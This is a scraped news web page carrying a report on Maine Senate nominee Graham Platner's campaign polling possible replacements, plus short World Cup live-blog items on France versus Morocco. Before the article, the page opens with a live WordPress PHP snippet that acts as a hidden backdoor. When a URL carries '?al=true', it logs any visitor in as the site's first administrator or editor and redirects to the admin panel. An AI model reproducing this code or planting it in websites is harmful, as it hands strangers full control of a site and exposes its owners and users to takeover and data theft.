// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Platner campaign quietly polls potential replacements as pressure mounts – Blue Light News
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Platner campaign quietly polls potential replacements as pressure mounts

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Democratic Maine Senate nominee Graham Platner’s team quietly fielded a poll Tuesday gauging the strength of people who could replace him on the ballot, as pressure mounts for him to drop out of the race.

The flash poll, obtained by Blue Light News, was conducted by Public Policy Polling and commissioned by Platner’s campaign, according to a person with knowledge of the survey who was granted anonymity to discuss it. It tested head-to-head matchups between Republican Sen. Susan Collins and Platner, along with five possible Democratic replacements for Platner, including former Maine state Senate President Troy Jackson and Secretary of State Shenna Bellows.

The poll was conducted one day after POLITICO reported that a woman who Platner dated said he forced her to have sex with him, which he has denied. The move comes after his campaign dramatically lost support and financial backing across the Democratic Party, and suggests that his campaign is weighing alternatives should he leave the race.

On Tuesday, Platner’s campaign also canceled all its planned fundraisers and took down online ads, further indicating that his candidacy is on the brink of collapse.

Additionally, Platner’s team contacted Maine Democratic Party officials to discuss the process for replacing the embattled candidate on the November ballot — a conversation that turned contentious.

Platner hasn’t appeared in public since the latest scandal erupted. He is expected to speak later Wednesday, though it’s not clear when and whether it will be to staff directly or public, and his campaign is surveying volunteers about next steps, according to one person familiar with the campaign’s internal conversations and a survey obtained by Blue Light News.

Platner has denied the sexual assault allegation and said swiftly after the report published that he is “taking the time to reflect” on his candidacy. His campaign has canceled at least a half-dozen planned events that had been scheduled over the coming days, in addition to putting holds on its ads on Facebook and Instagram.

The Platner campaign did not immediately respond to a request for comment.

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Politics

Emmanuel Macron cheers Les Bleus. So does Jordan Bardella.

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July 9, 2026

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For one evening at least, Les Bleus accomplished what few others can: uniting France’s political class.

Senior French politicians from across the spectrum praised France’s victory over Morocco in the World Cup quarterfinals on Thursday night, as they eye eventual glory in New Jersey on July 19.

“We’re proud of our Les Bleus,” said French President Emmanuel Macron. “Congratulations to Morocco, a formidable opponent tonight just as they were four years ago. France is in the semifinals, with panache and camaraderie!” His party ally Benjamin Haddad, France’s Europe minister, added: “Bravo to the French team for delivering a magnificent collective performance. The adventure continues!”

Even Jordan Bardella joined the chorus — notable given the French far right’s often fraught relationship with the multicultural national team.

“Congratulations to the French team, which completely dominated the game and advanced to the semifinals. Les Bleus are now just two games away from the ultimate achievement!” said the National Rally party president.

Surprisingly, none of France’s 2027 presidential wannabes — far-right Marine Le Pen, conservative Bruno Retailleau, centrist Edouard Philippe and hard-left Jean-Luc Mélenchon — were quick to post their reaction to the result.

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Macron’s sports protectionism

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July 9, 2026

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French president and dedicated soccer fan Emmanuel Macron is having himself a day. He attended the Tour de Francein the Pyrenees earlier Thursday, hours before France’s World Cup quarterfinal against Morocco. French outlet RMC Sport reported that shortly after the cycling stage finished, Macron urged star French rider Paul Seixas to remain with his team: French outfit Decathlon CMA CGM.

It’s not the first time Macron has tried to influence a French star to stay with their French team — he lobbied Kylian Mbappé to remain at his club Paris Saint-Germain and not transfer to Real Madrid … a battle he eventually lost.

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Dream lives for Moroccans in Brussels

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2 hours ago

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July 9, 2026

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BRUSSELS — The atmosphere at Le Stalingrad tea salon in Brussels is electric, full of supporters packed shoulder-to-shoulder, with Arabic commentary blaring from the televisions and every chance greeted by deafening reactions.

The crowd has erupted each time Morocco held firm defensively, but the loudest roar of the night (so far) came when France’s Kylian Mbappé missed a penalty, sending the tea shop into a frenzy of cheers and chants of “Bouno!” — the Moroccan goalkeeper’s last name.

Not every ovation was football-related: fans also burst into applause when pop star Shakira appeared on the stadium screens during the broadcast.

For some supporters, however, the evening carries significance beyond full-time. “It would be a shame if there was violence after this game,” said Moroccan native Adil, 23, recalling the unrest that followed his country’s World Cup victory over Belgium four years ago. “It was terrible.”

Whatever the outcome against France, Adil said he would continue supporting Belgium in the tournament if Morocco is eliminated.

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